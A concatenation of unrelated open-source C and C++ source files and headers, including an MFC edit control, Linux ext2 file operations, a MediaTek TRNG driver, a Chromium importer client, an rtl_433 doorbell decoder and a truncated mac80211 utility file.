// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
// http://www.gnu.org/copyleft/gpl.html
// $Id: MyEdit.h,v 1.9 2009/01/28 16:59:20 zhezherun Exp $
#pragma once
void AFXAPI DDX_Units(CDataExchange* pDX, int nIDC, double& fValue, int nUnits);
// CMyEdit
class CMyEdit : public CEdit
{
DECLARE_DYNAMIC(CMyEdit)
public:
CMyEdit();
virtual ~CMyEdit();
// Operations
public:
void SetNormal() { m_nType = EditNormal; }
void SetInteger() { m_nType = EditInteger; }
void SetReal() { m_nType = EditReal; }
void SetPercent(bool bPercent = true) { m_bPercent = bPercent; }
void SetUnits() { m_nType = EditUnits; }
enum EditType
{
EditNormal,
EditInteger,
EditReal,
EditUnits
};
int GetType() const { return m_nType; }
void UpdateValue();
int GetUnits() const { return m_nUnits; }
double GetValue() const { return m_fValue; }
void SetValue(double fValue, int nUnits);
// Implementation
protected:
EditType m_nType;
bool m_bPercent;
double m_fValue;
int m_nUnits;
// Message map functions
afx_msg void OnChar(UINT nChar, UINT nRepCnt, UINT nFlags);
afx_msg void OnKillFocus(CWnd* pNewWnd);
afx_msg void OnSetFocus(CWnd* pOldWnd);
DECLARE_MESSAGE_MAP()
};
|
#pragma once
#include "Stdafx.h"
using namespace System;
namespace Dzonny { namespace XmlKeyboard { namespace Interop {
/// <summary>Ligature - when a key press produces more than one character</summary>
public ref class Ligature
{
private:
/// <summary>A pointer to unmanaged <see cref="LIGATURE1"/> structure this instance wraps</summary>
/// <remarks>This can actually be pointer to <see cref="LIGATURE1"/>, <see cref="LIGATURE2"/>, <see cref="LIGATURE3"/>, <see cref="LIGATURE4"/> or <see cref="LIGATURE5"/>.</remarks>
initonly PLIGATURE1 ligature;
/// <summary>Maximum number of characters in <see cref="ligature"/>-><see cref="LIGATURE1::wch">wch</see></summary>
initonly BYTE maxChars;
String^ characters;
internal:
/// <summary>CTor - creates a new instance of the <see cref="Ligature"/> class</summary>
/// <param name="ligature">
/// A pointer to unmanaged <see cref="LIGATURE1"/> structure to wrap in a new instance.
/// This can actually be pointer to <see cref="LIGATURE1"/>, <see cref="LIGATURE2"/>, <see cref="LIGATURE3"/>, <see cref="LIGATURE4"/> or <see cref="LIGATURE5"/>.
/// </param>
/// <param name="maxChars">Indicates maximum number of characters in <paramref name="ligature"/>-><see cref="LIGATURE1::wch">wch</see></param>
/// <exception cref="ArgumentNullException"><paramref name="ligature"/> is null</exception>
Ligature(const PLIGATURE1 ligature, BYTE maxChars);
public:
/// <summary>Gets a virtual key that, when pressed, produces this ligature</summary>
property BYTE VirtualKey{BYTE get();}
/// <summary>Gets modificators to be pressed along with <see cref="VirtualKey"/> to produce the ligature</summary>
property WORD ModificationNumber{WORD get();}
/// <summary>Gets characters for the ligature</summary>
property String^ Characters{String^ get();}
};
}}}
|
/*
* chdir.c
*/
#include <dirent.h>
#include <stdio.h>
#include <errno.h>
int chdir(const char *path)
{
errno = ENOSYS;
return -1;
}
|
/* WARNING! All changes made to this file will be lost! */
#ifndef W_SRATOM_CONFIG_H_WAF
#define W_SRATOM_CONFIG_H_WAF
#define HAVE_LV2 1
#define HAVE_SERD 1
#define HAVE_SORD 1
#define SRATOM_VERSION "0.4.2"
#endif /* W_SRATOM_CONFIG_H_WAF */
|
/*
* The ManaPlus Client
* Copyright (C) 2011-2019 The ManaPlus Developers
* Copyright (C) 2019-2022 Andrei Karas
*
* This file is part of The ManaPlus Client.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/* _______ __ __ __ ______ __ __ _______ __ __
* / _____/\ / /\ / /\ / /\ / ____/\ / /\ / /\ / ___ /\ / |\/ /\
* / /\____\// / // / // / // /\___\// /_// / // /\_/ / // , |/ / /
* / / /__ / / // / // / // / / / ___ / // ___ / // /| ' / /
* / /_// /\ / /_// / // / // /_/_ / / // / // /\_/ / // / | / /
* /______/ //______/ //_/ //_____/\ /_/ //_/ //_/ //_/ //_/ /|_/ /
* \______\/ \______\/ \_\/ \_____\/ \_\/ \_\/ \_\/ \_\/ \_\/ \_\/
*
* Copyright (c) 2004 - 2008 Olof Naessén and Per Larsson
*
*
* Per Larsson a.k.a finalman
* Olof Naessén a.k.a jansem/yakslem
*
* Visit: http://guichan.sourceforge.net
*
* License: (BSD)
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name of Guichan nor the names of its contributors may
* be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef GUI_CLIPRECT_H
#define GUI_CLIPRECT_H
#include "gui/rect.h"
#include "localconsts.h"
/**
* A rectangle used when dealing with clipping. A clip rectangle is
* a regular rectangle extended with variables for x offsets and y
* offsets. The offsets are used for calculations from relative
* screen coordinates to actual screen coordinates.
*/
class ClipRect final : public Rect
{
public:
/**
* Constructor.
*/
ClipRect() :
Rect(0, 0, 0, 0),
xOffset(0),
yOffset(0)
{
}
/**
* Constructor.
*
* @param x0 The rectangle x coordinate.
* @param y0 The rectangle y coordinate.
* @param width0 The rectangle width.
* @param height0 The rectangle height.
* @param xOffset0 The offset of the x coordinate. Used to for
* calculating the actual screen coordinate from
* the relative screen coordinate.
* @param yOffset0 The offset of the y coordinate. Used to for
* calculating the actual screen coordinate from
* the relative screen coordinate.
*/
ClipRect(const int x0,
const int y0,
const int width0,
const int height0,
const int xOffset0,
const int yOffset0) :
Rect(x0, y0, width0, height0),
xOffset(xOffset0),
yOffset(yOffset0)
{
}
A_DELETE_COPY(ClipRect)
/**
* Holds the x offset of the x coordinate.
*/
int xOffset;
/**
* Holds the y offset of the y coordinate.
*/
int yOffset;
};
#endif // GUI_CLIPRECT_H
|
/*
** Copyright 2003-2010, VisualOn, Inc.
**
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
** http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
/*******************************************************************************
File: pre_echo_control.c
Content: Pre echo control functions
*******************************************************************************/
#include "basic_op.h"
#include "oper_32b.h"
#include "oper_32b.h"
#include "pre_echo_control.h"
/*****************************************************************************
*
* function name:InitPreEchoControl
* description: init pre echo control parameter
*
*****************************************************************************/
void InitPreEchoControl(Word32 *pbThresholdNm1,
Word16 numPb,
Word32 *pbThresholdQuiet)
{
Word16 pb;
for(pb=0; pb<numPb; pb++) {
pbThresholdNm1[pb] = pbThresholdQuiet[pb];
}
}
/*****************************************************************************
*
* function name:PreEchoControl
* description: update shreshold to avoid pre echo
* thr(n) = max(rpmin*thrq(n), min(thrq(n), rpelev*thrq1(n)))
*
*
*****************************************************************************/
void PreEchoControl(Word32 *pbThresholdNm1,
Word16 numPb,
Word32 maxAllowedIncreaseFactor,
Word16 minRemainingThresholdFactor,
Word32 *pbThreshold,
Word16 mdctScale,
Word16 mdctScalenm1)
{
Word32 i;
Word32 tmpThreshold1, tmpThreshold2;
Word32 scaling;
/* maxAllowedIncreaseFactor is hard coded to 2 */
(void)maxAllowedIncreaseFactor;
scaling = ((mdctScale - mdctScalenm1) << 1);
if ( scaling > 0 ) {
for(i = 0; i < numPb; i++) {
tmpThreshold1 = pbThresholdNm1[i] >> (scaling-1);
tmpThreshold2 = L_mpy_ls(pbThreshold[i], minRemainingThresholdFactor);
/* copy thresholds to internal memory */
pbThresholdNm1[i] = pbThreshold[i];
if(pbThreshold[i] > tmpThreshold1) {
pbThreshold[i] = tmpThreshold1;
}
if(tmpThreshold2 > pbThreshold[i]) {
pbThreshold[i] = tmpThreshold2;
}
}
}
else {
scaling = -scaling;
for(i = 0; i < numPb; i++) {
tmpThreshold1 = pbThresholdNm1[i] << 1;
tmpThreshold2 = L_mpy_ls(pbThreshold[i], minRemainingThresholdFactor);
/* copy thresholds to internal memory */
pbThresholdNm1[i] = pbThreshold[i];
if(((pbThreshold[i] >> scaling) > tmpThreshold1)) {
pbThreshold[i] = tmpThreshold1 << scaling;
}
if(tmpThreshold2 > pbThreshold[i]) {
pbThreshold[i] = tmpThreshold2;
}
}
}
}
|
/*
* linux/fs/ext2/file.c
*
* Copyright (C) 1992, 1993, 1994, 1995
* Remy Card (card@masi.ibp.fr)
* Laboratoire MASI - Institut Blaise Pascal
* Universite Pierre et Marie Curie (Paris VI)
*
* from
*
* linux/fs/minix/file.c
*
* Copyright (C) 1991, 1992 Linus Torvalds
*
* ext2 fs regular file handling primitives
*
* 64-bit file support on 64-bit platforms by Jakub Jelinek
* (jj@sunsite.ms.mff.cuni.cz)
*/
#include <linux/time.h>
#include <linux/pagemap.h>
#include <linux/quotaops.h>
#include "ext2.h"
#include "xattr.h"
#include "acl.h"
/*
* Called when filp is released. This happens when all file descriptors
* for a single struct file are closed. Note that different open() calls
* for the same file yield different struct file structures.
*/
static int ext2_release_file (struct inode * inode, struct file * filp)
{
if (filp->f_mode & FMODE_WRITE) {
mutex_lock(&EXT2_I(inode)->truncate_mutex);
ext2_discard_reservation(inode);
mutex_unlock(&EXT2_I(inode)->truncate_mutex);
}
return 0;
}
int ext2_fsync(struct file *file, loff_t start, loff_t end, int datasync)
{
int ret;
struct super_block *sb = file->f_mapping->host->i_sb;
struct address_space *mapping = sb->s_bdev->bd_inode->i_mapping;
ret = generic_file_fsync(file, start, end, datasync);
if (ret == -EIO || test_and_clear_bit(AS_EIO, &mapping->flags)) {
/* We don't really know where the IO error happened... */
ext2_error(sb, __func__,
"detected IO error when writing metadata buffers");
ret = -EIO;
}
return ret;
}
static int ext2_file_breakdown(int a)
{
return 0;
}
/*
* We have mostly NULL's here: the current defaults are ok for
* the ext2 filesystem.
*/
const struct file_operations ext2_file_operations = {
.file_breakdown = ext2_file_breakdown,
.llseek = generic_file_llseek,
.read = do_sync_read,
.write = do_sync_write,
.aio_read = generic_file_aio_read,
.aio_write = generic_file_aio_write,
.unlocked_ioctl = ext2_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext2_compat_ioctl,
#endif
.mmap = generic_file_mmap,
.open = dquot_file_open,
.release = ext2_release_file,
.fsync = ext2_fsync,
.splice_read = generic_file_splice_read,
.splice_write = generic_file_splice_write,
};
#ifdef CONFIG_EXT2_FS_XIP
const struct file_operations ext2_xip_file_operations = {
.llseek = generic_file_llseek,
.read = xip_file_read,
.write = xip_file_write,
.unlocked_ioctl = ext2_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext2_compat_ioctl,
#endif
.mmap = xip_file_mmap,
.open = dquot_file_open,
.release = ext2_release_file,
.fsync = ext2_fsync,
};
#endif
const struct inode_operations ext2_file_inode_operations = {
#ifdef CONFIG_EXT2_FS_XATTR
.setxattr = generic_setxattr,
.getxattr = generic_getxattr,
.listxattr = ext2_listxattr,
.removexattr = generic_removexattr,
#endif
.setattr = ext2_setattr,
.get_acl = ext2_get_acl,
.fiemap = ext2_fiemap,
};
|
/* Copyright Statement:
*
* (C) 2005-2016 MediaTek Inc. All rights reserved.
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. ("MediaTek") and/or its licensors.
* Without the prior written permission of MediaTek and/or its licensors,
* any reproduction, modification, use or disclosure of MediaTek Software,
* and information contained herein, in whole or in part, shall be strictly prohibited.
* You may only use, reproduce, modify, or distribute (as applicable) MediaTek Software
* if you have agreed to and been bound by the applicable license agreement with
* MediaTek ("License Agreement") and been granted explicit permission to do so within
* the License Agreement ("Permitted User"). If you are not a Permitted User,
* please cease any access or use of MediaTek Software immediately.
* BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES
* THAT MEDIATEK SOFTWARE RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES
* ARE PROVIDED TO RECEIVER ON AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL
* WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT.
* NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE
* SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR
* SUPPLIED WITH MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH
* THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES
* THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES
* CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK
* SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR
* STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND
* CUMULATIVE LIABILITY WITH RESPECT TO MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE,
* AT MEDIATEK'S OPTION, TO REVISE OR REPLACE MEDIATEK SOFTWARE AT ISSUE,
* OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO
* MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE.
*/
#include "hal_trng_internal.h"
#ifdef HAL_TRNG_MODULE_ENABLED
#include "hal_clock.h"
/*trng base address register global variable*/
TRNG_REGISTER_T *trng = TRNG;
void trng_init(void)
{
/* enable clock pdn*/
hal_clock_enable(HAL_CLOCK_CG_TRNG);
}
Trng_Result trng_config_timeout_limit(uint32_t timeout_value)
{
/*time out shuld be less than TIMEOUT_VALUE*/
uint32_t timeout_limit = timeout_value;
if (timeout_limit > TIMEOUT_VALUE) {
return TRNG_GEN_FAIL;
}
trng->TRNG_CONF &= ~(0xFFF << (6));
trng->TRNG_CONF |= (timeout_value << (6));
return TRNG_GEN_SUCCESS;
}
Trng_Result trng_enable_mode(bool H_FIRO, bool H_RO, bool H_GARO)
{
if (true == H_FIRO) {
trng->TRNG_CONF |= TRNG_H_FIRO_EN_MASK;
} else {
trng->TRNG_CONF &= ~TRNG_H_FIRO_EN_MASK;
}
if (true == H_RO) {
trng->TRNG_CONF |= TRNG_H_RO_EN_MASK;
} else {
trng->TRNG_CONF &= ~TRNG_H_RO_EN_MASK;
}
if (true == H_GARO) {
trng->TRNG_CONF |= TRNG_H_GARO_EN_MASK;
} else {
trng->TRNG_CONF &= ~TRNG_H_GARO_EN_MASK;
}
return TRNG_GEN_SUCCESS;
}
void trng_start(void)
{
trng->TRNG_CTRL |= TRNG_START_MASK;
}
void trng_stop(void)
{
volatile uint32_t temp_random = 0;
temp_random = trng->TRNG_DATA;
temp_random += 1;
trng->TRNG_CTRL &= ~TRNG_START_MASK;
}
void trng_deinit(void)
{
/*disable clock pdn*/
hal_clock_disable(HAL_CLOCK_CG_TRNG);
}
uint32_t trng_get_random_data(void)
{
volatile uint32_t random_data = 0;
volatile uint32_t ready_data = 0;
ready_data = trng->TRNG_INT_SET;
ready_data &= TRNG_RDY_MASK;
while (ready_data != TRNG_RDY_MASK) {
ready_data = trng->TRNG_INT_SET;
ready_data &= TRNG_RDY_MASK;
}
trng->TRNG_INT_CLR = TRNG_INT_CLR_MASK;
trng->TRNG_CTRL = TRNG_STOP_MASK;
random_data = trng->TRNG_DATA;
return random_data;
}
#endif /*HAL_TRNG_MODULE_ENABLED*/
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_IMPORTER_EXTERNAL_PROCESS_IMPORTER_CLIENT_H_
#define CHROME_BROWSER_IMPORTER_EXTERNAL_PROCESS_IMPORTER_CLIENT_H_
#include <string>
#include <vector>
#include "base/basictypes.h"
#include "base/compiler_specific.h"
#include "base/memory/weak_ptr.h"
#include "base/strings/string16.h"
#include "chrome/browser/history/history_types.h"
#include "chrome/common/importer/importer_data_types.h"
#include "chrome/common/importer/importer_url_row.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/utility_process_host_client.h"
class ExternalProcessImporterHost;
struct ImportedBookmarkEntry;
struct ImportedFaviconUsage;
class InProcessImporterBridge;
namespace autofill {
struct PasswordForm;
}
namespace content{
class UtilityProcessHost;
}
namespace importer {
#if defined(OS_WIN)
struct ImporterIE7PasswordInfo;
#endif
struct URLKeywordInfo;
}
class ExternalProcessImporterClient : public content::UtilityProcessHostClient {
public:
ExternalProcessImporterClient(
base::WeakPtr<ExternalProcessImporterHost> importer_host,
const importer::SourceProfile& source_profile,
uint16 items,
InProcessImporterBridge* bridge);
void Start();
void Cancel();
virtual void OnProcessCrashed(int exit_code) OVERRIDE;
virtual bool OnMessageReceived(const IPC::Message& message) OVERRIDE;
void OnImportStart();
void OnImportFinished(bool succeeded, const std::string& error_msg);
void OnImportItemStart(int item);
void OnImportItemFinished(int item);
void OnHistoryImportStart(size_t total_history_rows_count);
void OnHistoryImportGroup(
const std::vector<ImporterURLRow>& history_rows_group,
int visit_source);
void OnHomePageImportReady(const GURL& home_page);
void OnBookmarksImportStart(const base::string16& first_folder_name,
size_t total_bookmarks_count);
void OnBookmarksImportGroup(
const std::vector<ImportedBookmarkEntry>& bookmarks_group);
void OnFaviconsImportStart(size_t total_favicons_count);
void OnFaviconsImportGroup(
const std::vector<ImportedFaviconUsage>& favicons_group);
void OnPasswordFormImportReady(const autofill::PasswordForm& form);
void OnKeywordsImportReady(
const std::vector<importer::URLKeywordInfo>& url_keywords,
bool unique_on_host_and_path);
void OnFirefoxSearchEngineDataReceived(
const std::vector<std::string> search_engine_data);
#if defined(OS_WIN)
void OnIE7PasswordReceived(
const importer::ImporterIE7PasswordInfo& importer_password_info);
#endif
protected:
virtual ~ExternalProcessImporterClient();
private:
void Cleanup();
void CancelImportProcessOnIOThread();
void NotifyItemFinishedOnIOThread(importer::ImportItem import_item);
void StartProcessOnIOThread(content::BrowserThread::ID thread_id);
// entire group has been collected and is ready to be written to the profile.
std::vector<ImporterURLRow> history_rows_;
std::vector<ImportedBookmarkEntry> bookmarks_;
std::vector<ImportedFaviconUsage> favicons_;
base::string16 bookmarks_first_folder_name_;
size_t total_bookmarks_count_;
size_t total_history_rows_count_;
size_t total_favicons_count_;
base::WeakPtr<ExternalProcessImporterHost> process_importer_host_;
base::WeakPtr<content::UtilityProcessHost> utility_process_host_;
importer::SourceProfile source_profile_;
uint16 items_;
// Takes import data coming over IPC and delivers it to be written by the
scoped_refptr<InProcessImporterBridge> bridge_;
bool cancelled_;
DISALLOW_COPY_AND_ASSIGN(ExternalProcessImporterClient);
};
#endif
|
/*
* Copyright (c) 2017, 2020, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
struct test {
int a;
double b;
};
int main() {
struct test t;
t.b = 5.3;
return t.b;
}
|
/*
* Copyright (C) 2005 - 2011 MaNGOS <http://www.getmangos.org/>
*
* Copyright (C) 2008 - 2011 TrinityCore <http://www.trinitycore.org/>
*
* Copyright (C) 2011 TrilliumEMU <http://www.trilliumemu.org/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// \addtogroup Trilliumd
/// @{
/// \file
#ifndef _RASOCKET_H
#define _RASOCKET_H
#include "Common.h"
#include <ace/Synch_Traits.h>
#include <ace/Svc_Handler.h>
#include <ace/SOCK_Stream.h>
#include <ace/SOCK_Acceptor.h>
/// Remote Administration socket
class RASocket: public ACE_Svc_Handler<ACE_SOCK_STREAM, ACE_MT_SYNCH>
{
public:
RASocket();
virtual ~RASocket();
virtual int svc(void);
virtual int open(void * = 0);
virtual int handle_close(ACE_HANDLE = ACE_INVALID_HANDLE, ACE_Reactor_Mask = ACE_Event_Handler::ALL_EVENTS_MASK);
private:
int recv_line(std::string& out_line);
int recv_line(ACE_Message_Block& buffer);
int process_command(const std::string& command);
int authenticate();
int subnegotiate(); //! Used by telnet protocol RFC 854 / 855
int check_access_level(const std::string& user);
int check_password(const std::string& user, const std::string& pass);
int send(const std::string& line);
static void zprint(void* callbackArg, const char * szText );
static void commandFinished(void* callbackArg, bool success);
private:
/// Minimum security level required to connect
uint8 iMinLevel;
};
#endif
/// @}
|
/*
* Copyright (c) 2017, 2020, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdlib.h>
int main() {
volatile long *arr = malloc(10 * sizeof(long));
arr[5] = 23;
arr[4] = 65;
return arr[5] + arr[4];
}
|
/* Bluefish HTML Editor
* msg_queue.h - message queue handling
*
* Copyright (C) 2003 Olivier Sessink
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
void msg_queue_start(GList * filenames, GList *projectfiles, gboolean in_new_window);
void msg_queue_cleanup(void);
|
/** @file
Quhwa HS1527.
Copyright (C) 2016 Ask Jakobsen
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
*/
/**
Quhwa HS1527.
Tested devices:
QH-C-CE-3V (which should be compatible with QH-832AC),
also sold as "1 by One" wireless doorbell
*/
#include "decoder.h"
static int quhwa_callback(r_device *decoder, bitbuffer_t *bitbuffer)
{
int r = bitbuffer_find_repeated_row(bitbuffer, 5, 18);
if (r < 0)
return DECODE_ABORT_EARLY;
uint8_t *b = bitbuffer->bb[r];
// No need to decode/extract values for simple test
if (!b[0] && !b[1] && !b[2]) {
decoder_log(decoder, 2, __func__, "DECODE_FAIL_SANITY data all 0x00");
return DECODE_FAIL_SANITY;
}
b[0] = ~b[0];
b[1] = ~b[1];
b[2] = ~b[2];
if (bitbuffer->bits_per_row[r] != 18
|| (b[1] & 0x03) != 0x03
|| (b[2] & 0xC0) != 0xC0)
return DECODE_ABORT_LENGTH;
uint32_t id = (b[0] << 8) | b[1];
/* clang-format off */
data_t *data = data_make(
"model", "", DATA_STRING, "Quhwa-Doorbell",
"id", "ID", DATA_INT, id,
NULL);
/* clang-format on */
decoder_output_data(decoder, data);
return 1;
}
static char *output_fields[] = {
"model",
"id",
NULL,
};
r_device quhwa = {
.name = "Quhwa",
.modulation = OOK_PULSE_PWM,
.short_width = 360, // Pulse: Short 360µs, Long 1070µs
.long_width = 1070, // Gaps: Short 360µs, Long 1070µs
.reset_limit = 6600, // Intermessage Gap 6500µs
.gap_limit = 1200, // Long Gap 1120µs
.sync_width = 0, // No sync bit used
.tolerance = 80, // us
.decode_fn = &quhwa_callback,
.fields = output_fields,
};
|
/* copied from linux wireless-2.6/net/mac80211/util.c */
/*
* Copyright 2002-2005, Instant802 Networks, Inc.
* Copyright 2005-2006, Devicescape Software, Inc.
* Copyright 2006-2007 Jiri Benc <jbenc@suse.cz>
* Copyright 2007 Johannes Berg <johannes@sipsolutions.net>
* Copyright 2014-2015 Bruno Randolf (br1@einfach.org)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* utilities for mac80211
*/
#include <stddef.h>
#include <string.h>
#include <math.h>
#include "ieee80211_util.h"
#include "wlan80211.h"
#include "main.h"
#include "util.h"
/* from mac80211/ieee80211_i.c, slightly modified */
/**
* ieee80211_is_erp_rate - Check if a rate is an ERP rate
* @phymode: The PHY-mode for this rate (MODE_IEEE80211...)
* @rate: Transmission rate to check, in 100 kbps
*
* Check if a given rate is an Extended Rate PHY (ERP) rate.
*/
static inline int
ieee80211_is_erp_rate(int phymode, int rate)
{
if (phymode & PHY_FLAG_G) {
if (rate != 10 && rate != 20 &&
rate != 55 && rate != 110) {
DEBUG("erp\n");
return 1;
}
}
DEBUG("no erp\n");
return 0;
}
static int
get_cw_time(int cw_min, int cw_max, int retries, int slottime)
{
int cw = pow(2, (cw_min + retries)) - 1;
